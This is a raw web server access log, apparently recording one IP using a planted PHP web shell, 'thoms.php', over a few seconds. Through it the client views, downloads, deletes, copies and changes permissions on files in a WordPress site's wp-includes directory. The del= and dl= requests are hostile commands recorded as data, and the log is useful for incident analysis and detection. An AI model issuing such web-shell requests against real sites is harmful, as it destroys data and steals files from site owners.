45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13958 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15624 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:30 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21054 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:30 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20829 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?del=theme-previews.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:30 -0400] "GET /thoms.php?dl=theme-templates.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:30 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13684 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 12375 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?chmod=html-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fabilities-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fabilities-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21186 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?del=ms-blogs.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15700 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?del=utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:31 -0400] "GET /thoms.php?dl=capabilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:32 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:32 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:32 -0400] "GET /thoms.php?del=kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59238 "http://163.245.207.76:443/thoms.php?del=kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:33 -0400] "GET /thoms.php?chmod=blocks&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:33 -0400] "GET /thoms.php?del=class-walker-page.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18256 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:33 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59429 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:34 -0400] "GET /thoms.php?dl=ms-files.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:34 -0400] "GET /thoms.php?chmod=sitemaps&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12178 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:34 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14114 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?del=class.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:35 -0400] "GET /thoms.php?del=robots-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:36 -0400] "GET /thoms.php?del=block-bindings&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:36 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16413 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:36 -0400] "GET /thoms.php?chmod=class-wp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:36 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwidgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwidgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14322 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15905 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59235 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?del=class-feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:37 -0400] "GET /thoms.php?del=class-smtp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14565 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fabilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fabilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13069 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?del=class-wp-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12358 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61397 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:38 -0400] "GET /thoms.php?chmod=deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?dl=admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18199 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
